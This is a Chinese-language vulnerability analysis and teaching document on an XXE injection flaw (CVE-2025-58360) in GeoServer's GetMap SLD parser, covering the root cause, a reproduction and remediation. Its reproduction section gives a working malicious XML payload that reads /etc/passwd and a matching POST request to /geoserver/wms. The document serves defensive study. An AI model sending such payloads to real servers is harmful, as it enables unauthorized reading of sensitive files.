GeoServer GetMap XXE注入漏洞分析(CVE-2025-58360)
字数 1236 2025-12-03 12:06:13

GeoServer GetMap XXE注入漏洞分析(CVE-2025-58360)教学文档

1. 漏洞概述

1.1 基本信息

  • 漏洞编号:CVE-2025-58360
  • 漏洞类型:XXE(XML External Entity)注入
  • 影响组件:GeoServer GetMap功能
  • 风险等级:高危(可导致任意文件读取)

1.2 受影响产品

GeoServer - 开源地理数据服务器,用于共享、编辑和发布地理空间数据,支持多种标准地图服务协议。

2. 技术背景

2.1 GeoServer架构特点

  • 采用模块化研发架构
  • 基于Spring框架实现请求处理
  • 支持WMS/WFS/WCS等OWS(OGC Web Services)协议

2.2 关键处理流程

Client HTTP Request
    ↓
Spring Framework: HandlerMapping
    ↓
GeoServer: OWSHandlerMapping(wmsURLMapping bean)
    ↓
URL匹配 → 返回Controller Bean名称(如"dispatcher")
    ↓
Spring找到Controller → 调用HandlerAdapter
    ↓
GeoServer: Dispatcher(执行WMS/WFS/WCS等OWS请求)

2.3 URL映射关系

URL路径 Spring返回的Controller Bean名称
/kml/icon/** kmlIconService
/wms dispatcher
/wms/* dispatcher

3. 漏洞详细分析

3.1 漏洞触发路径

Dispatcher → SLDXmlRequestReader → Styles.handler().parse() 
    → SLDStyleHandler.parse() → SLDParser → XML Parser(未禁用外部实体)

3.2 关键代码组件

SLDXmlRequestReader Bean配置:

<bean id="sldXmlReader"
    class="org.geoserver.sld.SLDXmlRequestReader">
    <constructor-arg ref="wms"/>
</bean>

3.3 漏洞触发条件

  1. 请求路径:/wms 或 /wms/*
  2. Content-Type:必须设置为 application/xml
  3. XML内容:包含恶意外部实体声明

3.4 根本原因

GeoTools的SLD XML解析器在解析样式描述语言(SLD)时,未正确配置XML解析器禁用外部实体引用,导致XXE漏洞。

4. 漏洞复现

4.1 环境准备

  • 受影响的GeoServer版本
  • 网络访问权限
  • 基本的HTTP请求工具

4.2 攻击向量构造

恶意XML示例:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<GetMap>
    <StyledLayerDescriptor>
        <NamedLayer>
            <Name>test</Name>
            <UserStyle>
                <Name>test</Name>
                <FeatureTypeStyle>
                    <Rule>
                        <Title>&xxe;</Title>
                    </Rule>
                </FeatureTypeStyle>
            </UserStyle>
        </NamedLayer>
    </StyledLayerDescriptor>
</GetMap>

4.3 请求示例

POST /geoserver/wms HTTP/1.1
Host: target-server.com
Content-Type: application/xml
Content-Length: 1234

[恶意XML内容]

5. 修复方案

5.1 安全配置建议

  1. 禁用外部实体:在XML解析器中设置XMLConstants.FEATURE_SECURE_PROCESSING为true
  2. 禁用DTD:配置解析器不加载外部DTD
  3. 输入验证:对传入的XML内容进行严格验证

5.2 代码修复要点

  • 在SLDParser初始化时显式禁用外部实体扩展
  • 实现安全的XML解析器配置
  • 添加内容安全策略

6. 防护措施

6.1 临时缓解方案

  • 在网络层面过滤包含<!DOCTYPE<!ENTITY的请求
  • 限制GeoServer对敏感文件的访问权限
  • 升级到已修复的安全版本

6.2 长期安全加固

  • 定期更新GeoServer到最新安全版本
  • 实施最小权限原则
  • 建立安全代码审查流程

7. 总结

该漏洞源于GeoServer在处理SLD样式描述时的XML解析配置缺陷,攻击者可通过精心构造的XML请求读取服务器敏感文件。修复重点在于正确配置XML解析器的安全属性,彻底禁用外部实体解析功能。

GeoServer GetMap XXE注入漏洞分析(CVE-2025-58360)教学文档 1. 漏洞概述 1.1 基本信息 漏洞编号 :CVE-2025-58360 漏洞类型 :XXE(XML External Entity)注入 影响组件 :GeoServer GetMap功能 风险等级 :高危(可导致任意文件读取) 1.2 受影响产品 GeoServer - 开源地理数据服务器,用于共享、编辑和发布地理空间数据,支持多种标准地图服务协议。 2. 技术背景 2.1 GeoServer架构特点 采用模块化研发架构 基于Spring框架实现请求处理 支持WMS/WFS/WCS等OWS(OGC Web Services)协议 2.2 关键处理流程 2.3 URL映射关系 | URL路径 | Spring返回的Controller Bean名称 | |---------|--------------------------------| | /kml/icon/** | kmlIconService | | /wms | dispatcher | | /wms/* | dispatcher | 3. 漏洞详细分析 3.1 漏洞触发路径 3.2 关键代码组件 SLDXmlRequestReader Bean配置: 3.3 漏洞触发条件 请求路径 :/wms 或 /wms/* Content-Type :必须设置为 application/xml XML内容 :包含恶意外部实体声明 3.4 根本原因 GeoTools的SLD XML解析器在解析样式描述语言(SLD)时,未正确配置XML解析器禁用外部实体引用,导致XXE漏洞。 4. 漏洞复现 4.1 环境准备 受影响的GeoServer版本 网络访问权限 基本的HTTP请求工具 4.2 攻击向量构造 恶意XML示例: 4.3 请求示例 5. 修复方案 5.1 安全配置建议 禁用外部实体 :在XML解析器中设置 XMLConstants.FEATURE_SECURE_PROCESSING 为true 禁用DTD :配置解析器不加载外部DTD 输入验证 :对传入的XML内容进行严格验证 5.2 代码修复要点 在SLDParser初始化时显式禁用外部实体扩展 实现安全的XML解析器配置 添加内容安全策略 6. 防护措施 6.1 临时缓解方案 在网络层面过滤包含 <!DOCTYPE 和 <!ENTITY 的请求 限制GeoServer对敏感文件的访问权限 升级到已修复的安全版本 6.2 长期安全加固 定期更新GeoServer到最新安全版本 实施最小权限原则 建立安全代码审查流程 7. 总结 该漏洞源于GeoServer在处理SLD样式描述时的XML解析配置缺陷,攻击者可通过精心构造的XML请求读取服务器敏感文件。修复重点在于正确配置XML解析器的安全属性,彻底禁用外部实体解析功能。